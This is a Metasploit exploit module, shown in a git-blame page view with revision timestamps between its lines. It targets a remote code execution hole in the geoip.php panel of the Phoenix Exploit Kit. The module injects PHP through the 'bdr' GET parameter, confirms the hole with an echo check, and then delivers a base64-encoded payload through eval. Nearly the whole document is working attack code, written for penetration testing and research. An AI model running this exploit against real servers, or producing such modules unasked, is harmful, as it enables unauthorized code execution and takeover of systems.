Files
metasploit-gs/modules/exploits/multi/http/phoenix_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

72 lines
2.2 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'Phoenix Exploit Kit Remote Code Execution',
'Description' => %q{
2016-08-29 13:28:15 -05:00
This module exploits a Remote Code Execution in the web panel of Phoenix Exploit Kit via geoip.php. The
2016-08-19 22:22:56 +08:00
Phoenix Exploit Kit is a popular commercial crimeware tool that probes the browser of the visitor for the
2016-08-29 13:28:15 -05:00
presence of outdated and insecure versions of browser plugins like Java and Adobe Flash and Reader,
silently installing malware if found.
},
'License' => MSF_LICENSE,
'Author' =>
[
2016-08-29 13:28:15 -05:00
'CrashBandicot', #initial discovery by @DosPerl
2016-08-29 13:46:12 -05:00
'Jay Turla' #msf module by @shipcod3
],
'References' =>
[
[ 'EDB', '40047' ],
[ 'URL', 'http://krebsonsecurity.com/tag/phoenix-exploit-kit/' ], # description of Phoenix Exploit Kit
2016-08-29 13:28:15 -05:00
[ 'URL', 'https://www.pwnmalw.re/Exploit%20Pack/phoenix' ]
],
'Privileged' => false,
2016-08-29 14:14:22 -05:00
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
2016-08-29 14:14:22 -05:00
[ 'Automatic', {} ]
],
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2016-07-01',
'DefaultTarget' => 0))
register_options(
[
2016-08-29 13:28:15 -05:00
OptString.new('TARGETURI', [true, 'The path of geoip.php which is vulnerable to RCE', '/Phoenix/includes/geoip.php'])
])
end
def check
test = Rex::Text.rand_text_alpha(8)
2016-08-29 14:14:22 -05:00
res = http_send_command("echo \"#{test}\";")
if res && res.body.include?(test)
2016-08-29 14:13:18 -05:00
return Exploit::CheckCode::Vulnerable
end
2016-08-29 13:28:15 -05:00
Exploit::CheckCode::Safe
end
def exploit
encoded = Rex::Text.encode_base64(payload.encoded)
2016-08-29 14:14:22 -05:00
http_send_command("eval(base64_decode(\"#{encoded}\"));")
end
def http_send_command(cmd)
2016-08-29 13:28:15 -05:00
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'vars_get' => {
'bdr' => cmd
}
2016-08-29 13:28:15 -05:00
)
end
end